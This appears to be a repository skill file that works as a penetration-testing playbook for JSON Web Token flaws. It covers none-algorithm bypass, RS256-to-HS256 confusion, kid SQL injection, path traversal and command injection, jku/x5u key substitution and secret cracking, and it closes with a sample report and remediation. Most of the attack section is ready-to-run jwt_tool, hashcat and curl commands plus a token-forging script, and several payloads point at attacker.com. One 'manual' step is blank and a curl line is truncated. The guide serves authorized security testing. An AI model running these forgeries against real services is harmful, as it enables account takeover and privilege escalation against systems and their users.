testing-for-json-web-token-vulnerabilities

Tests JWT implementations for algorithm confusion, "none" algorithm bypass, kid/jku parameter injection, and weak secret exploitation using jwt_tool and Burp Suite's JWT Editor extension, aiming to achieve authentication bypass and privilege escalation. Use when assessing JWT-based auth/session management, OAuth2/OIDC token handling, or SSO systems during a security engagement.

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Repository: mukul975/Anthropic-Cybersecurity-Skills
Last source activity: August 2, 2026 at 16:32
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name	testing-for-json-web-token-vulnerabilities
description	Tests JWT implementations for algorithm confusion, "none" algorithm bypass, kid/jku parameter injection, and weak secret exploitation using jwt_tool and Burp Suite's JWT Editor extension, aiming to achieve authentication bypass and privilege escalation. Use when assessing JWT-based auth/session management, OAuth2/OIDC token handling, or SSO systems during a security engagement.
domain	cybersecurity
subdomain	web-application-security
tags	["jwt","json-web-token","algorithm-confusion","authentication-bypass","token-forgery","kid-injection","jku-attack"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]
mitre_attack	["T1190","T1059.007","T1505.003","T1083","T1068"]

Testing for JSON Web Token Vulnerabilities

When to Use

When testing applications using JWT for authentication and session management
During API security assessments where JWTs are used for authorization
When evaluating OAuth 2.0 or OpenID Connect implementations using JWT
During penetration testing of single sign-on (SSO) systems
When auditing JWT library configurations for known vulnerabilities

Prerequisites

jwt_tool (Python JWT exploitation toolkit)
Burp Suite with JWT Editor extension
jwt.io for decoding and inspecting JWT structure
Understanding of JWT structure (header.payload.signature) and algorithms (HS256, RS256)
hashcat or john for brute-forcing weak JWT secrets
Python PyJWT library for custom JWT forging scripts
Access to application using JWT-based authentication

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Decode and Analyze JWT Structure

# Install jwt_tool
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git

# Decode JWT without verification
python3 jwt_tool.py <JWT_TOKEN>

# Decode manually with base64
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d

# Examine JWT in jwt.io
# Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)
# Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)

# Example JWT header inspection
# {"alg":"RS256","typ":"JWT","kid":"key-1"}
# Look for: alg, kid, jku, jwk, x5u, x5c headers

Step 2 — Test "None" Algorithm Bypass

# Change algorithm to "none" and remove signature
python3 jwt_tool.py <JWT_TOKEN> -X a

# Manual none algorithm attack:











curl -H  http://target.com/api/admin


python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin

# If server uses RS256, attempt to switch to HS256 using public key as HMAC secret

# Step 1: Obtain the public key
# From JWKS endpoint
curl http://target.com/.well-known/jwks.json

# From SSL certificate
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
  openssl x509 -pubkey -noout > public_key.pem

# Step 2: Forge token using public key as HMAC secret
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem

# Manual algorithm confusion:
# Change header from {"alg":"RS256"} to {"alg":"HS256"}
# Sign with public key using HMAC-SHA256
python3 -c "
import jwt
with open('public_key.pem', 'r') as f:
    public_key = f.read()
payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"

# SQL Injection via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--" \
  -S hs256 -p "secret-key"

# Path Traversal via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null" \
  -S hs256 -p ""

# Kid pointing to empty file (sign with empty string)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""

# SSRF via kid (if kid fetches remote key)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"

# Command injection via kid (rare but possible)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"

# JKU (JSON Web Key Set URL) injection
# Point jku to attacker-controlled JWKS
# Step 1: Generate key pair
python3 jwt_tool.py <JWT_TOKEN> -X s

# Step 2: Host JWKS on attacker server
# jwt_tool generates jwks.json - host it at http://attacker.com/.well-known/jwks.json

# Step 3: Modify JWT header to point to attacker JWKS
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://attacker.com/.well-known/jwks.json"

# X5U (X.509 certificate URL) injection
# Similar to JKU but using X.509 certificate chain
python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://attacker.com/cert.pem"

# Embedded JWK attack (inject key in JWT header itself)
python3 jwt_tool.py <JWT_TOKEN> -X i

# Brute-force HMAC secret with hashcat
hashcat -a 0 -m 16500 <JWT_TOKEN> /usr/share/wordlists/rockyou.txt

# Using jwt_tool wordlist attack
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt

# Using john the ripper
echo "<JWT_TOKEN>" > jwt.txt
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256

# Common weak secrets to try:
# secret, password, 123456, admin, test, key, jwt_secret
# Also try: application name, company name, domain name

# Once secret is found, forge arbitrary tokens
python3 jwt_tool.py <JWT_TOKEN> -S hs256 -p "discovered_secret" \
  -I -pc role -pv admin -pc sub -pv "admin@target.com"

Concept	Description
Algorithm Confusion	Switching from asymmetric (RS256) to symmetric (HS256) using public key as secret
None Algorithm	Setting alg to "none" to create unsigned tokens accepted by misconfigured servers
Kid Injection	Exploiting the Key ID header parameter for SQLi, path traversal, or SSRF
JKU/X5U Injection	Pointing key source URLs to attacker-controlled servers for key substitution
Weak Secret	HMAC secrets that can be brute-forced using dictionary attacks
Claim Tampering	Modifying payload claims (role, sub, admin) after bypassing signature verification
Token Replay	Reusing valid JWTs after the intended session should have expired

Tool	Purpose
jwt_tool	Comprehensive JWT testing and exploitation toolkit
JWT Editor (Burp)	Burp Suite extension for JWT manipulation and attack automation
hashcat	GPU-accelerated JWT secret brute-forcing (mode 16500)
john the ripper	CPU-based JWT secret cracking
jwt.io	Online JWT decoder and debugger for inspection
PyJWT	Python library for programmatic JWT creation and verification

## JWT Security Assessment Report
- **Target**: http://target.com
- **JWT Algorithm**: RS256 (claimed)
- **JWKS Endpoint**: http://target.com/.well-known/jwks.json

### Findings
| # | Vulnerability | Technique | Impact | Severity |
|---|--------------|-----------|--------|----------|
| 1 | None algorithm accepted | alg: "none" | Auth bypass | Critical |
| 2 | Algorithm confusion | RS256 -> HS256 | Token forgery | Critical |
| 3 | Weak HMAC secret | Brute-force: "secret123" | Full token forgery | Critical |
| 4 | Kid path traversal | kid: "../../dev/null" | Sign with empty key | High |

### Remediation
- Enforce algorithm whitelist in JWT verification (reject "none")
- Use asymmetric algorithms (RS256/ES256) with proper key management
- Implement strong, random secrets for HMAC algorithms (256+ bits)
- Validate kid parameter against a strict allowlist
- Ignore jku/x5u headers or validate against known endpoints
- Set appropriate token expiration (exp) and implement token revocation